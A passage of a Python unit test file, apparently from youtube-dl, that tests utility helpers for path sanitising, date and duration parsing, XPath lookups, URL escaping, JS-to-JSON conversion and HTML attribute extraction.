        self.assertEqual(sanitize_path('abc.../def...'), 'abc..#\\def..#')

        self.assertEqual(sanitize_path('../abc'), '..\\abc')
        self.assertEqual(sanitize_path('../../abc'), '..\\..\\abc')
        self.assertEqual(sanitize_path('./abc'), 'abc')
        self.assertEqual(sanitize_path('./../abc'), '..\\abc')

    def test_prepend_extension(self):
        self.assertEqual(prepend_extension('abc.ext', 'temp'), 'abc.temp.ext')
        self.assertEqual(prepend_extension('abc.ext', 'temp', 'ext'), 'abc.temp.ext')
        self.assertEqual(prepend_extension('abc.unexpected_ext', 'temp', 'ext'), 'abc.unexpected_ext.temp')
        self.assertEqual(prepend_extension('abc', 'temp'), 'abc.temp')
        self.assertEqual(prepend_extension('.abc', 'temp'), '.abc.temp')
        self.assertEqual(prepend_extension('.abc.ext', 'temp'), '.abc.temp.ext')

    def test_replace_extension(self):
        self.assertEqual(replace_extension('abc.ext', 'temp'), 'abc.temp')
        self.assertEqual(replace_extension('abc.ext', 'temp', 'ext'), 'abc.temp')
        self.assertEqual(replace_extension('abc.unexpected_ext', 'temp', 'ext'), 'abc.unexpected_ext.temp')
        self.assertEqual(replace_extension('abc', 'temp'), 'abc.temp')
        self.assertEqual(replace_extension('.abc', 'temp'), '.abc.temp')
        self.assertEqual(replace_extension('.abc.ext', 'temp'), '.abc.temp')

    def test_remove_start(self):
        self.assertEqual(remove_start(None, 'A - '), None)
        self.assertEqual(remove_start('A - B', 'A - '), 'B')
        self.assertEqual(remove_start('B - A', 'A - '), 'B - A')

    def test_remove_end(self):
        self.assertEqual(remove_end(None, ' - B'), None)
        self.assertEqual(remove_end('A - B', ' - B'), 'A')
        self.assertEqual(remove_end('B - A', ' - B'), 'B - A')

    def test_remove_quotes(self):
        self.assertEqual(remove_quotes(None), None)
        self.assertEqual(remove_quotes('"'), '"')
        self.assertEqual(remove_quotes("'"), "'")
        self.assertEqual(remove_quotes(';'), ';')
        self.assertEqual(remove_quotes('";'), '";')
        self.assertEqual(remove_quotes('""'), '')
        self.assertEqual(remove_quotes('";"'), ';')

    def test_ordered_set(self):
        self.assertEqual(orderedSet([1, 1, 2, 3, 4, 4, 5, 6, 7, 3, 5]), [1, 2, 3, 4, 5, 6, 7])
        self.assertEqual(orderedSet([]), [])
        self.assertEqual(orderedSet([1]), [1])
        # keep the list ordered
        self.assertEqual(orderedSet([135, 1, 1, 1]), [135, 1])

    def test_unescape_html(self):
        self.assertEqual(unescapeHTML('%20;'), '%20;')
        self.assertEqual(unescapeHTML('&#x2F;'), '/')
        self.assertEqual(unescapeHTML('&#47;'), '/')
        self.assertEqual(unescapeHTML('&eacute;'), 'é')
        self.assertEqual(unescapeHTML('&#2013266066;'), '&#2013266066;')
        # HTML5 entities
        self.assertEqual(unescapeHTML('&period;&apos;'), '.\'')

    def test_date_from_str(self):
        self.assertEqual(date_from_str('yesterday'), date_from_str('now-1day'))
        self.assertEqual(date_from_str('now+7day'), date_from_str('now+1week'))
        self.assertEqual(date_from_str('now+14day'), date_from_str('now+2week'))
        self.assertEqual(date_from_str('now+365day'), date_from_str('now+1year'))
        self.assertEqual(date_from_str('now+30day'), date_from_str('now+1month'))

    def test_daterange(self):
        _20century = DateRange("19000101", "20000101")
        self.assertFalse("17890714" in _20century)
        _ac = DateRange("00010101")
        self.assertTrue("19690721" in _ac)
        _firstmilenium = DateRange(end="10000101")
        self.assertTrue("07110427" in _firstmilenium)

    def test_unified_dates(self):
        self.assertEqual(unified_strdate('December 21, 2010'), '20101221')
        self.assertEqual(unified_strdate('8/7/2009'), '20090708')
        self.assertEqual(unified_strdate('Dec 14, 2012'), '20121214')
        self.assertEqual(unified_strdate('2012/10/11 01:56:38 +0000'), '20121011')
        self.assertEqual(unified_strdate('1968 12 10'), '19681210')
        self.assertEqual(unified_strdate('1968-12-10'), '19681210')
        self.assertEqual(unified_strdate('28/01/2014 21:00:00 +0100'), '20140128')
        self.assertEqual(
            unified_strdate('11/26/2014 11:30:00 AM PST', day_first=False),
            '20141126')
        self.assertEqual(
            unified_strdate('2/2/2015 6:47:40 PM', day_first=False),
            '20150202')
        self.assertEqual(unified_strdate('Feb 14th 2016 5:45PM'), '20160214')
        self.assertEqual(unified_strdate('25-09-2014'), '20140925')
        self.assertEqual(unified_strdate('27.02.2016 17:30'), '20160227')
        self.assertEqual(unified_strdate('UNKNOWN DATE FORMAT'), None)

    def test_unified_timestamps(self):
        self.assertEqual(unified_timestamp('December 21, 2010'), 1292889600)
        self.assertEqual(unified_timestamp('8/7/2009'), 1247011200)
        self.assertEqual(unified_timestamp('Dec 14, 2012'), 1355443200)
        self.assertEqual(unified_timestamp('2012/10/11 01:56:38 +0000'), 1349920598)
        self.assertEqual(unified_timestamp('1968 12 10'), -33436800)
        self.assertEqual(unified_timestamp('1968-12-10'), -33436800)
        self.assertEqual(unified_timestamp('28/01/2014 21:00:00 +0100'), 1390939200)
        self.assertEqual(
            unified_timestamp('11/26/2014 11:30:00 AM PST', day_first=False),
            1417001400)
        self.assertEqual(
            unified_timestamp('2/2/2015 6:47:40 PM', day_first=False),
            1422902860)
        self.assertEqual(unified_timestamp('Feb 14th 2016 5:45PM'), 1455471900)
        self.assertEqual(unified_timestamp('25-09-2014'), 1411603200)
        self.assertEqual(unified_timestamp('27.02.2016 17:30'), 1456594200)
        self.assertEqual(unified_timestamp('UNKNOWN DATE FORMAT'), None)
        self.assertEqual(unified_timestamp('May 16, 2016 11:15 PM'), 1463440500)

    def test_determine_ext(self):
        self.assertEqual(determine_ext('http://example.com/foo/bar.mp4/?download'), 'mp4')
        self.assertEqual(determine_ext('http://example.com/foo/bar/?download', None), None)
        self.assertEqual(determine_ext('http://example.com/foo/bar.nonext/?download', None), None)
        self.assertEqual(determine_ext('http://example.com/foo/bar/mp4?download', None), None)
        self.assertEqual(determine_ext('http://example.com/foo/bar.m3u8//?download'), 'm3u8')

    def test_find_xpath_attr(self):
        testxml = '''<root>
            <node/>
            <node x="a"/>
            <node x="a" y="c" />
            <node x="b" y="d" />
            <node x="" />
        </root>'''
        doc = compat_etree_fromstring(testxml)

        self.assertEqual(find_xpath_attr(doc, './/fourohfour', 'n'), None)
        self.assertEqual(find_xpath_attr(doc, './/fourohfour', 'n', 'v'), None)
        self.assertEqual(find_xpath_attr(doc, './/node', 'n'), None)
        self.assertEqual(find_xpath_attr(doc, './/node', 'n', 'v'), None)
        self.assertEqual(find_xpath_attr(doc, './/node', 'x'), doc[1])
        self.assertEqual(find_xpath_attr(doc, './/node', 'x', 'a'), doc[1])
        self.assertEqual(find_xpath_attr(doc, './/node', 'x', 'b'), doc[3])
        self.assertEqual(find_xpath_attr(doc, './/node', 'y'), doc[2])
        self.assertEqual(find_xpath_attr(doc, './/node', 'y', 'c'), doc[2])
        self.assertEqual(find_xpath_attr(doc, './/node', 'y', 'd'), doc[3])
        self.assertEqual(find_xpath_attr(doc, './/node', 'x', ''), doc[4])

    def test_xpath_with_ns(self):
        testxml = '''<root xmlns:media="http://example.com/">
            <media:song>
                <media:author>The Author</media:author>
                <url>http://server.com/download.mp3</url>
            </media:song>
        </root>'''
        doc = compat_etree_fromstring(testxml)
        find = lambda p: doc.find(xpath_with_ns(p, {'media': 'http://example.com/'}))
        self.assertTrue(find('media:song') is not None)
        self.assertEqual(find('media:song/media:author').text, 'The Author')
        self.assertEqual(find('media:song/url').text, 'http://server.com/download.mp3')

    def test_xpath_element(self):
        doc = xml.etree.ElementTree.Element('root')
        div = xml.etree.ElementTree.SubElement(doc, 'div')
        p = xml.etree.ElementTree.SubElement(div, 'p')
        p.text = 'Foo'
        self.assertEqual(xpath_element(doc, 'div/p'), p)
        self.assertEqual(xpath_element(doc, ['div/p']), p)
        self.assertEqual(xpath_element(doc, ['div/bar', 'div/p']), p)
        self.assertEqual(xpath_element(doc, 'div/bar', default='default'), 'default')
        self.assertEqual(xpath_element(doc, ['div/bar'], default='default'), 'default')
        self.assertTrue(xpath_element(doc, 'div/bar') is None)
        self.assertTrue(xpath_element(doc, ['div/bar']) is None)
        self.assertTrue(xpath_element(doc, ['div/bar'], 'div/baz') is None)
        self.assertRaises(ExtractorError, xpath_element, doc, 'div/bar', fatal=True)
        self.assertRaises(ExtractorError, xpath_element, doc, ['div/bar'], fatal=True)
        self.assertRaises(ExtractorError, xpath_element, doc, ['div/bar', 'div/baz'], fatal=True)

    def test_xpath_text(self):
        testxml = '''<root>
            <div>
                <p>Foo</p>
            </div>
        </root>'''
        doc = compat_etree_fromstring(testxml)
        self.assertEqual(xpath_text(doc, 'div/p'), 'Foo')
        self.assertEqual(xpath_text(doc, 'div/bar', default='default'), 'default')
        self.assertTrue(xpath_text(doc, 'div/bar') is None)
        self.assertRaises(ExtractorError, xpath_text, doc, 'div/bar', fatal=True)

    def test_xpath_attr(self):
        testxml = '''<root>
            <div>
                <p x="a">Foo</p>
            </div>
        </root>'''
        doc = compat_etree_fromstring(testxml)
        self.assertEqual(xpath_attr(doc, 'div/p', 'x'), 'a')
        self.assertEqual(xpath_attr(doc, 'div/bar', 'x'), None)
        self.assertEqual(xpath_attr(doc, 'div/p', 'y'), None)
        self.assertEqual(xpath_attr(doc, 'div/bar', 'x', default='default'), 'default')
        self.assertEqual(xpath_attr(doc, 'div/p', 'y', default='default'), 'default')
        self.assertRaises(ExtractorError, xpath_attr, doc, 'div/bar', 'x', fatal=True)
        self.assertRaises(ExtractorError, xpath_attr, doc, 'div/p', 'y', fatal=True)

    def test_smuggle_url(self):
        data = {"ö": "ö", "abc": [3]}
        url = 'https://foo.bar/baz?x=y#a'
        smug_url = smuggle_url(url, data)
        unsmug_url, unsmug_data = unsmuggle_url(smug_url)
        self.assertEqual(url, unsmug_url)
        self.assertEqual(data, unsmug_data)

        res_url, res_data = unsmuggle_url(url)
        self.assertEqual(res_url, url)
        self.assertEqual(res_data, None)

        smug_url = smuggle_url(url, {'a': 'b'})
        smug_smug_url = smuggle_url(smug_url, {'c': 'd'})
        res_url, res_data = unsmuggle_url(smug_smug_url)
        self.assertEqual(res_url, url)
        self.assertEqual(res_data, {'a': 'b', 'c': 'd'})

    def test_shell_quote(self):
        args = ['ffmpeg', '-i', encodeFilename('ñ€ß\'.mp4')]
        self.assertEqual(shell_quote(args), """ffmpeg -i 'ñ€ß'"'"'.mp4'""")

    def test_str_to_int(self):
        self.assertEqual(str_to_int('123,456'), 123456)
        self.assertEqual(str_to_int('123.456'), 123456)

    def test_url_basename(self):
        self.assertEqual(url_basename('http://foo.de/'), '')
        self.assertEqual(url_basename('http://foo.de/bar/baz'), 'baz')
        self.assertEqual(url_basename('http://foo.de/bar/baz?x=y'), 'baz')
        self.assertEqual(url_basename('http://foo.de/bar/baz#x=y'), 'baz')
        self.assertEqual(url_basename('http://foo.de/bar/baz/'), 'baz')
        self.assertEqual(
            url_basename('http://media.w3.org/2010/05/sintel/trailer.mp4'),
            'trailer.mp4')

    def test_parse_age_limit(self):
        self.assertEqual(parse_age_limit(None), None)
        self.assertEqual(parse_age_limit(False), None)
        self.assertEqual(parse_age_limit('invalid'), None)
        self.assertEqual(parse_age_limit(0), 0)
        self.assertEqual(parse_age_limit(18), 18)
        self.assertEqual(parse_age_limit(21), 21)
        self.assertEqual(parse_age_limit(22), None)
        self.assertEqual(parse_age_limit('18'), 18)
        self.assertEqual(parse_age_limit('18+'), 18)
        self.assertEqual(parse_age_limit('PG-13'), 13)
        self.assertEqual(parse_age_limit('TV-14'), 14)
        self.assertEqual(parse_age_limit('TV-MA'), 17)

    def test_parse_duration(self):
        self.assertEqual(parse_duration(None), None)
        self.assertEqual(parse_duration(False), None)
        self.assertEqual(parse_duration('invalid'), None)
        self.assertEqual(parse_duration('1'), 1)
        self.assertEqual(parse_duration('1337:12'), 80232)
        self.assertEqual(parse_duration('9:12:43'), 33163)
        self.assertEqual(parse_duration('12:00'), 720)
        self.assertEqual(parse_duration('00:01:01'), 61)
        self.assertEqual(parse_duration('x:y'), None)
        self.assertEqual(parse_duration('3h11m53s'), 11513)
        self.assertEqual(parse_duration('3h 11m 53s'), 11513)
        self.assertEqual(parse_duration('3 hours 11 minutes 53 seconds'), 11513)
        self.assertEqual(parse_duration('3 hours 11 mins 53 secs'), 11513)
        self.assertEqual(parse_duration('62m45s'), 3765)
        self.assertEqual(parse_duration('6m59s'), 419)
        self.assertEqual(parse_duration('49s'), 49)
        self.assertEqual(parse_duration('0h0m0s'), 0)
        self.assertEqual(parse_duration('0m0s'), 0)
        self.assertEqual(parse_duration('0s'), 0)
        self.assertEqual(parse_duration('01:02:03.05'), 3723.05)
        self.assertEqual(parse_duration('T30M38S'), 1838)
        self.assertEqual(parse_duration('5 s'), 5)
        self.assertEqual(parse_duration('3 min'), 180)
        self.assertEqual(parse_duration('2.5 hours'), 9000)
        self.assertEqual(parse_duration('02:03:04'), 7384)
        self.assertEqual(parse_duration('01:02:03:04'), 93784)
        self.assertEqual(parse_duration('1 hour 3 minutes'), 3780)
        self.assertEqual(parse_duration('87 Min.'), 5220)
        self.assertEqual(parse_duration('PT1H0.040S'), 3600.04)

    def test_fix_xml_ampersands(self):
        self.assertEqual(
            fix_xml_ampersands('"&x=y&z=a'), '"&amp;x=y&amp;z=a')
        self.assertEqual(
            fix_xml_ampersands('"&amp;x=y&wrong;&z=a'),
            '"&amp;x=y&amp;wrong;&amp;z=a')
        self.assertEqual(
            fix_xml_ampersands('&amp;&apos;&gt;&lt;&quot;'),
            '&amp;&apos;&gt;&lt;&quot;')
        self.assertEqual(
            fix_xml_ampersands('&#1234;&#x1abC;'), '&#1234;&#x1abC;')
        self.assertEqual(fix_xml_ampersands('&#&#'), '&amp;#&amp;#')

    def test_paged_list(self):
        def testPL(size, pagesize, sliceargs, expected):
            def get_page(pagenum):
                firstid = pagenum * pagesize
                upto = min(size, pagenum * pagesize + pagesize)
                for i in range(firstid, upto):
                    yield i

            pl = OnDemandPagedList(get_page, pagesize)
            got = pl.getslice(*sliceargs)
            self.assertEqual(got, expected)

            iapl = InAdvancePagedList(get_page, size // pagesize + 1, pagesize)
            got = iapl.getslice(*sliceargs)
            self.assertEqual(got, expected)

        testPL(5, 2, (), [0, 1, 2, 3, 4])
        testPL(5, 2, (1,), [1, 2, 3, 4])
        testPL(5, 2, (2,), [2, 3, 4])
        testPL(5, 2, (4,), [4])
        testPL(5, 2, (0, 3), [0, 1, 2])
        testPL(5, 2, (1, 4), [1, 2, 3])
        testPL(5, 2, (2, 99), [2, 3, 4])
        testPL(5, 2, (20, 99), [])

    def test_read_batch_urls(self):
        f = io.StringIO('''\xef\xbb\xbf foo
            bar\r
            baz
            # More after this line\r
            ; or after this
            bam''')
        self.assertEqual(read_batch_urls(f), ['foo', 'bar', 'baz', 'bam'])

    def test_urlencode_postdata(self):
        data = urlencode_postdata({'username': 'foo@bar.com', 'password': '1234'})
        self.assertTrue(isinstance(data, bytes))

    def test_update_url_query(self):
        def query_dict(url):
            return compat_parse_qs(compat_urlparse.urlparse(url).query)
        self.assertEqual(query_dict(update_url_query(
            'http://example.com/path', {'quality': ['HD'], 'format': ['mp4']})),
            query_dict('http://example.com/path?quality=HD&format=mp4'))
        self.assertEqual(query_dict(update_url_query(
            'http://example.com/path', {'system': ['LINUX', 'WINDOWS']})),
            query_dict('http://example.com/path?system=LINUX&system=WINDOWS'))
        self.assertEqual(query_dict(update_url_query(
            'http://example.com/path', {'fields': 'id,formats,subtitles'})),
            query_dict('http://example.com/path?fields=id,formats,subtitles'))
        self.assertEqual(query_dict(update_url_query(
            'http://example.com/path', {'fields': ('id,formats,subtitles', 'thumbnails')})),
            query_dict('http://example.com/path?fields=id,formats,subtitles&fields=thumbnails'))
        self.assertEqual(query_dict(update_url_query(
            'http://example.com/path?manifest=f4m', {'manifest': []})),
            query_dict('http://example.com/path'))
        self.assertEqual(query_dict(update_url_query(
            'http://example.com/path?system=LINUX&system=WINDOWS', {'system': 'LINUX'})),
            query_dict('http://example.com/path?system=LINUX'))
        self.assertEqual(query_dict(update_url_query(
            'http://example.com/path', {'fields': b'id,formats,subtitles'})),
            query_dict('http://example.com/path?fields=id,formats,subtitles'))
        self.assertEqual(query_dict(update_url_query(
            'http://example.com/path', {'width': 1080, 'height': 720})),
            query_dict('http://example.com/path?width=1080&height=720'))
        self.assertEqual(query_dict(update_url_query(
            'http://example.com/path', {'bitrate': 5020.43})),
            query_dict('http://example.com/path?bitrate=5020.43'))
        self.assertEqual(query_dict(update_url_query(
            'http://example.com/path', {'test': '第二行тест'})),
            query_dict('http://example.com/path?test=%E7%AC%AC%E4%BA%8C%E8%A1%8C%D1%82%D0%B5%D1%81%D1%82'))

    def test_dict_get(self):
        FALSE_VALUES = {
            'none': None,
            'false': False,
            'zero': 0,
            'empty_string': '',
            'empty_list': [],
        }
        d = FALSE_VALUES.copy()
        d['a'] = 42
        self.assertEqual(dict_get(d, 'a'), 42)
        self.assertEqual(dict_get(d, 'b'), None)
        self.assertEqual(dict_get(d, 'b', 42), 42)
        self.assertEqual(dict_get(d, ('a', )), 42)
        self.assertEqual(dict_get(d, ('b', 'a', )), 42)
        self.assertEqual(dict_get(d, ('b', 'c', 'a', 'd', )), 42)
        self.assertEqual(dict_get(d, ('b', 'c', )), None)
        self.assertEqual(dict_get(d, ('b', 'c', ), 42), 42)
        for key, false_value in FALSE_VALUES.items():
            self.assertEqual(dict_get(d, ('b', 'c', key, )), None)
            self.assertEqual(dict_get(d, ('b', 'c', key, ), skip_false_values=False), false_value)

    def test_encode_compat_str(self):
        self.assertEqual(encode_compat_str(b'\xd1\x82\xd0\xb5\xd1\x81\xd1\x82', 'utf-8'), 'тест')
        self.assertEqual(encode_compat_str('тест', 'utf-8'), 'тест')

    def test_parse_iso8601(self):
        self.assertEqual(parse_iso8601('2014-03-23T23:04:26+0100'), 1395612266)
        self.assertEqual(parse_iso8601('2014-03-23T22:04:26+0000'), 1395612266)
        self.assertEqual(parse_iso8601('2014-03-23T22:04:26Z'), 1395612266)
        self.assertEqual(parse_iso8601('2014-03-23T22:04:26.1234Z'), 1395612266)
        self.assertEqual(parse_iso8601('2015-09-29T08:27:31.727'), 1443515251)
        self.assertEqual(parse_iso8601('2015-09-29T08-27-31.727'), None)

    def test_strip_jsonp(self):
        stripped = strip_jsonp('cb ([ {"id":"532cb",\n\n\n"x":\n3}\n]\n);')
        d = json.loads(stripped)
        self.assertEqual(d, [{"id": "532cb", "x": 3}])

        stripped = strip_jsonp('parseMetadata({"STATUS":"OK"})\n\n\n//epc')
        d = json.loads(stripped)
        self.assertEqual(d, {'STATUS': 'OK'})

        stripped = strip_jsonp('ps.embedHandler({"status": "success"});')
        d = json.loads(stripped)
        self.assertEqual(d, {'status': 'success'})

    def test_uppercase_escape(self):
        self.assertEqual(uppercase_escape('aä'), 'aä')
        self.assertEqual(uppercase_escape('\\U0001d550'), '𝕐')

    def test_lowercase_escape(self):
        self.assertEqual(lowercase_escape('aä'), 'aä')
        self.assertEqual(lowercase_escape('\\u0026'), '&')

    def test_limit_length(self):
        self.assertEqual(limit_length(None, 12), None)
        self.assertEqual(limit_length('foo', 12), 'foo')
        self.assertTrue(
            limit_length('foo bar baz asd', 12).startswith('foo bar'))
        self.assertTrue('...' in limit_length('foo bar baz asd', 12))

    def test_parse_codecs(self):
        self.assertEqual(parse_codecs(''), {})
        self.assertEqual(parse_codecs('avc1.77.30, mp4a.40.2'), {
            'vcodec': 'avc1.77.30',
            'acodec': 'mp4a.40.2',
        })
        self.assertEqual(parse_codecs('mp4a.40.2'), {
            'vcodec': 'none',
            'acodec': 'mp4a.40.2',
        })
        self.assertEqual(parse_codecs('mp4a.40.5,avc1.42001e'), {
            'vcodec': 'avc1.42001e',
            'acodec': 'mp4a.40.5',
        })
        self.assertEqual(parse_codecs('avc3.640028'), {
            'vcodec': 'avc3.640028',
            'acodec': 'none',
        })
        self.assertEqual(parse_codecs(', h264,,newcodec,aac'), {
            'vcodec': 'h264',
            'acodec': 'aac',
        })

    def test_escape_rfc3986(self):
        reserved = "!*'();:@&=+$,/?#[]"
        unreserved = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.~'
        self.assertEqual(escape_rfc3986(reserved), reserved)
        self.assertEqual(escape_rfc3986(unreserved), unreserved)
        self.assertEqual(escape_rfc3986('тест'), '%D1%82%D0%B5%D1%81%D1%82')
        self.assertEqual(escape_rfc3986('%D1%82%D0%B5%D1%81%D1%82'), '%D1%82%D0%B5%D1%81%D1%82')
        self.assertEqual(escape_rfc3986('foo bar'), 'foo%20bar')
        self.assertEqual(escape_rfc3986('foo%20bar'), 'foo%20bar')

    def test_escape_url(self):
        self.assertEqual(
            escape_url('http://wowza.imust.org/srv/vod/telemb/new/UPLOAD/UPLOAD/20224_IncendieHavré_FD.mp4'),
            'http://wowza.imust.org/srv/vod/telemb/new/UPLOAD/UPLOAD/20224_IncendieHavre%CC%81_FD.mp4'
        )
        self.assertEqual(
            escape_url('http://www.ardmediathek.de/tv/Sturm-der-Liebe/Folge-2036-Zu-Mann-und-Frau-erklärt/Das-Erste/Video?documentId=22673108&bcastId=5290'),
            'http://www.ardmediathek.de/tv/Sturm-der-Liebe/Folge-2036-Zu-Mann-und-Frau-erkl%C3%A4rt/Das-Erste/Video?documentId=22673108&bcastId=5290'
        )
        self.assertEqual(
            escape_url('http://тест.рф/фрагмент'),
            'http://xn--e1aybc.xn--p1ai/%D1%84%D1%80%D0%B0%D0%B3%D0%BC%D0%B5%D0%BD%D1%82'
        )
        self.assertEqual(
            escape_url('http://тест.рф/абв?абв=абв#абв'),
            'http://xn--e1aybc.xn--p1ai/%D0%B0%D0%B1%D0%B2?%D0%B0%D0%B1%D0%B2=%D0%B0%D0%B1%D0%B2#%D0%B0%D0%B1%D0%B2'
        )
        self.assertEqual(escape_url('http://vimeo.com/56015672#at=0'), 'http://vimeo.com/56015672#at=0')

    def test_js_to_json_realworld(self):
        inp = '''{
            'clip':{'provider':'pseudo'}
        }'''
        self.assertEqual(js_to_json(inp), '''{
            "clip":{"provider":"pseudo"}
        }''')
        json.loads(js_to_json(inp))

        inp = '''{
            'playlist':[{'controls':{'all':null}}]
        }'''
        self.assertEqual(js_to_json(inp), '''{
            "playlist":[{"controls":{"all":null}}]
        }''')

        inp = '''"The CW\\'s \\'Crazy Ex-Girlfriend\\'"'''
        self.assertEqual(js_to_json(inp), '''"The CW's 'Crazy Ex-Girlfriend'"''')

        inp = '"SAND Number: SAND 2013-7800P\\nPresenter: Tom Russo\\nHabanero Software Training - Xyce Software\\nXyce, Sandia\\u0027s"'
        json_code = js_to_json(inp)
        self.assertEqual(json.loads(json_code), json.loads(inp))

        inp = '''{
            0:{src:'skipped', type: 'application/dash+xml'},
            1:{src:'skipped', type: 'application/vnd.apple.mpegURL'},
        }'''
        self.assertEqual(js_to_json(inp), '''{
            "0":{"src":"skipped", "type": "application/dash+xml"},
            "1":{"src":"skipped", "type": "application/vnd.apple.mpegURL"}
        }''')

        inp = '''{"foo":101}'''
        self.assertEqual(js_to_json(inp), '''{"foo":101}''')

        inp = '''{"duration": "00:01:07"}'''
        self.assertEqual(js_to_json(inp), '''{"duration": "00:01:07"}''')

    def test_js_to_json_edgecases(self):
        on = js_to_json("{abc_def:'1\\'\\\\2\\\\\\'3\"4'}")
        self.assertEqual(json.loads(on), {"abc_def": "1'\\2\\'3\"4"})

        on = js_to_json('{"abc": true}')
        self.assertEqual(json.loads(on), {'abc': True})

        # Ignore JavaScript code as well
        on = js_to_json('''{
            "x": 1,
            y: "a",
            z: some.code
        }''')
        d = json.loads(on)
        self.assertEqual(d['x'], 1)
        self.assertEqual(d['y'], 'a')

        on = js_to_json('["abc", "def",]')
        self.assertEqual(json.loads(on), ['abc', 'def'])

        on = js_to_json('{"abc": "def",}')
        self.assertEqual(json.loads(on), {'abc': 'def'})

        on = js_to_json('{ 0: /* " \n */ ",]" , }')
        self.assertEqual(json.loads(on), {'0': ',]'})

        on = js_to_json(r'["<p>x<\/p>"]')
        self.assertEqual(json.loads(on), ['<p>x</p>'])

        on = js_to_json(r'["\xaa"]')
        self.assertEqual(json.loads(on), ['\u00aa'])

        on = js_to_json("['a\\\nb']")
        self.assertEqual(json.loads(on), ['ab'])

        on = js_to_json('{0xff:0xff}')
        self.assertEqual(json.loads(on), {'255': 255})

        on = js_to_json('{077:077}')
        self.assertEqual(json.loads(on), {'63': 63})

        on = js_to_json('{42:42}')
        self.assertEqual(json.loads(on), {'42': 42})

    def test_extract_attributes(self):
        self.assertEqual(extract_attributes('<e x="y">'), {'x': 'y'})
        self.assertEqual(extract_attributes("<e x='y'>"), {'x': 'y'})
        self.assertEqual(extract_attributes('<e x=y>'), {'x': 'y'})
        self.assertEqual(extract_attributes('<e x="a \'b\' c">'), {'x': "a 'b' c"})
        self.assertEqual(extract_attributes('<e x=\'a "b" c\'>'), {'x': 'a "b" c'})
        self.assertEqual(extract_attributes('<e x="&#121;">'), {'x': 'y'})
        self.assertEqual(extract_attributes('<e x="&#x79;">'), {'x': 'y'})
        self.assertEqual(extract_attributes('<e x="&amp;">'), {'x': '&'})  # XML
        self.assertEqual(extract_attributes('<e x="&quot;">'), {'x': '"'})
        self.assertEqual(extract_attributes('<e x="&pound;">'), {'x': '£'})  # HTML 3.2
        self.assertEqual(extract_attributes('<e x="&lambda;">'), {'x': 'λ'})  # HTML 4.0
        self.assertEqual(extract_attributes('<e x="&foo">'), {'x': '&foo'})
        self.assertEqual(extract_attributes('<e x="\'">'), {'x': "'"})
        self.assertEqual(extract_attributes('<e x=\'"\'>'), {'x': '"'})
        self.assertEqual(extract_attributes('<e x >'), {'x': None})
        self.assertEqual(extract_attributes('<e x=y a>'), {'x': 'y', 'a': None})
        self.assertEqual(extract_attributes('<e x= y>'), {'x': 'y'})
        self.assertEqual(extract_attributes('<e x=1 y=2 x=3>'), {'y': '2', 'x': '3'})
        self.assertEqual(extract_attributes('<e \nx=\ny\n>'), {'x': 'y'})
        self.assertEqual(extract_attributes('<e \nx=\n"y"\n>'), {'x': 'y'})
        self.assertEqual(extract_attributes("<e \nx=\n'y'\n>"), {'x': 'y'})
        self.assertEqual(extract_attributes('<e \nx="\ny\n">'), {'x': '\ny\n'})
        self.assertEqual(extract_attributes('<e CAPS=x>'), {'caps': 'x'})  # Names lowercased
        self.assertEqual(extract_attributes('<e x=1 X=2>'), {'x': '2'})
        self.assertEqual(extract_attributes('<e X=1 x=2>'), {'x': '2'})
        self.assertEqual(extract_attributes('<e _:funny-name1=1>'), {'_:funny-name1': '1'})
        self.assertEqual(extract_attributes('<e x="Fáilte 世界 \U0001f600">'), {'x': 'Fáilte 世界 \U0001f600'})
        self.assertEqual(extract_attributes('<e x="décompose&#769;">'), {'x': 'décompose\u0301'})
        # "Narrow" Python builds don't support unicode code points outside BMP.
        try:
            compat_chr(0x10000)
            supports_outside_bmp = True
        except ValueError:
            supports_outside_bmp = False
        if supports_outside_bmp:
            self.assertEqual(extract_attributes('<e x="Smile &#128512;!">'), {'x': 'Smile \U0001f600!'})

    def test_clean_html(self):
        self.assertEqual(clean_html('a:\nb'), 'a: b')
        self.assertEqual(clean_html('a:\n   "b"'), 'a:    "b"')

    def test_intlist_to_bytes(self):
        self.assertEqual(
            intlist_to_bytes([0, 1, 127, 128, 255]),
            b'\x00\x01\x7f\x80\xff')

    def test_args_to_str(self):
        self.assertEqual(
            args_to_str(['foo', 'ba/r', '-baz', '2 be', '']),
            'foo ba/r -baz \'2 be\' \'\''
        )

    def test_parse_filesize(self):
        self.assertEqual(parse_filesize(None), None)
        self.assertEqual(parse_filesize(''), None)
        self.assertEqual(parse_filesize('91 B'), 91)
        self.assertEqual(parse_filesize('foobar'), None)
        self.assertEqual(parse_filesize('2 MiB'), 2097152)
        self.assertEqual(parse_filesize('5 GB'), 5000000000)
        self.assertEqual(parse_filesize('1.2Tb'), 1200000000000)
        self.assertEqual(parse_filesize('1.2tb'), 1200000000000)
        self.assertEqual(parse_filesize('1,24 KB'), 1240)
        self.assertEqual(parse_filesize('1,24 kb'), 1240)
        self.assertEqual(parse_filesize('8.5 megabytes'), 8500000)

    def test_parse_count(self):
        self.assertEqual(parse_count(None), None)
        self.assertEqual(parse_count(''), None)
        self.assertEqual(parse_count('0'), 0)
        self.assertEqual(parse_count('1000'), 1000)
        self.assertEqual(parse_count('1.000'), 1000)
        self.assertEqual(parse_count('1.1k'), 1100)
        self.assertEqual(parse_count('1.1kk'), 1100000)
        self.assertEqual(parse_count('1.1kk '), 1100000)
        self.assertEqual(parse_count('1.1kk views'), 1100000)

    def test_version_tuple(self):
        self.assertEqual(version_tuple('1'), (1,))
        self.assertEqual(version_tuple('10.23.344'), (10, 23, 344))
        self.assertEqual(version_tuple('10.1-6'), (10, 1, 6))  # avconv style

    def test_detect_exe_version(self):
        self.assertEqual(detect_exe_version('''ffmpeg version 1.2.1
built on May 27 2013 08:37:26 with gcc 4.7 (Debian 4.7.3-4)
configuration: --prefix=/usr --extra-'''), '1.2.1')
        self.assertEqual(detect_exe_version('''ffmpeg version N-63176-g1fb4685
built on May 15 2014 22:09:06 with gcc 4.8.2 (GCC)'''), 'N-63176-g1fb4685')
        self.assertEqual(detect_exe_version('''X server found. dri2 connection failed!
Trying to open render node...
Success at /dev/dri/renderD128.
ffmpeg version 2.4.4 Copyright (c) 2000-2014 the FFmpeg ...'''), '2.4.4')

    def test_age_restricted(self):
        self.assertFalse(age_restricted(None, 10))  # unrestricted content
        self.assertFalse(age_restricted(1, None))  # unrestricted policy
        self.assertFalse(age_restricted(8, 10))
        self.assertTrue(age_restricted(18, 14))
        self.assertFalse(age_restricted(18, 18))

    def test_is_html(self):
        self.assertFalse(is_html(b'\x49\x44\x43<html'))
